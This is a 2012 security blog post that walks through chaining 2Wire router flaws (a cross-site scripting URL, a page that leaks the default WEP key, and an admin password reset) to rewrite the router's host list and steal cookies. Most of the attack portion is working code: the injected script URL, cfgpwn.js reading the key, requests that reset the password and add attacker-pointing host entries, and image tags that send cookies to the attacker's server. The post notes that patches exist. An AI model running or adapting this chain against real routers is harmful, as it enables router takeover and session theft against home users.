Cookie Stealing By Router Pharming (2Wire)

Cookie Stealing By Router Pharming (2Wire)

Posted on June 07, 2012 by Pedro Joaquin

It is well known that SOHO routers are commonly vulnerable. In this post I will demonstrate how a series of vulnerabilities in 2Wire routers, when exploited sequentially may allow us to get cookies of almost any domain in scope.

 

The attack process would be as follows:

1. The victim visits a malicious page,

2. The web page performs router pharming redirecting subdomains to the attackers servers,

3. The web page forces the victim to perform requests to the subdomains,

4. The attacker receives the cookies on his server.

 

We use unexisting subdomains for two reasons. When using a subdomain, the browser does not have the IP in its cache, so no refreshing is necessary. And the second reason is that in case of any error the communication with the server is not lost.

2Wire routers have had many vulnerabilities published in the last few years. To perform this attack we will focus on the following:

1. Cross site scripting

2. Information disclosure (“magic url”)

3. Resetting the password with the default WEP

 

Some 2Wire routers have a Cross Site Scripting vulnerability on the variable THISPAGE of their web interface:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>

 

Exploiting this vulnerability can get us in the same zone as the router and we can get access to its properties such as the source code of the pages of the router.

We include a script that allows us to read the source of another page in the router that is the information disclosure page, where we can find the default WEP key:

cfgpwn.js:

try {

    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");

} catch(e) {

    xmlhttp = new XMLHttpRequest()

}

xmlhttp.open("GET","/xslt?page=mgmt_data",false);

xmlhttp.send(null);

var info = xmlhttp.responseText;

var pass = "temporal";

var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

 

Using this WEP key we can define a new admin password this way:

xmlhttp.open("POST","/xslt");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

 

Now that we have defined a new password we can get the admin's cookie:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);

xmlhttp.send(null);

 

As administrators we can add domains to the host list:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);

    xmlhttp.send(null);

}

 

We force the victim to perform requests to the subdomains so we can get the cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

    document.write('<img src=http://'+dns+'>');

}

 

This complete attack can be automated and performed hidden from the user. In the following video you can see the attack on a visible way:

 

We must understand that 2Wire has issued patches for all of this vulnerabilities. But sometimes is not up to them to patch the devices, the ISP has to do it.

 


Latest Blog Entries

Panoptic
An overview of Panoptic, an open source penetration testing tool that automates the process of search and retrieval of common log and config files through LFI vulnerabilities.
Posted in panoptic python tool lfi

Special discount code for "Nmap 6: Network Exploration and Security Auditing Cookbook"
PacktPub created a special discount code for our friends from HackerHalted
Posted in Nmap Hacker Halted nmap cookbook

Mac2WepKey HHG5xx for iPhone
The famous app to obtain the default WiFi passwords for Huawei routers is now available for the iPhone iOS 5.
Posted in HHG5xx iPhone huawei mac2wepkey passwords generator

Latest News

Oct 12, 2012
Websec at Hacker Halted USA 2012
Hacker Halted USA 2012 will reunite information security specialists from around the world to show the latest and most innovating research in the field of information security.

Sep 27, 2012
Nmap 6: Network Exploration and Security Auditing Cookbook is now on pre-sale!
The book "Nmap 6: Network Exploration and Security Auditing Cookbook" by Paulino Calderón is now on pre-sale and will be available soon.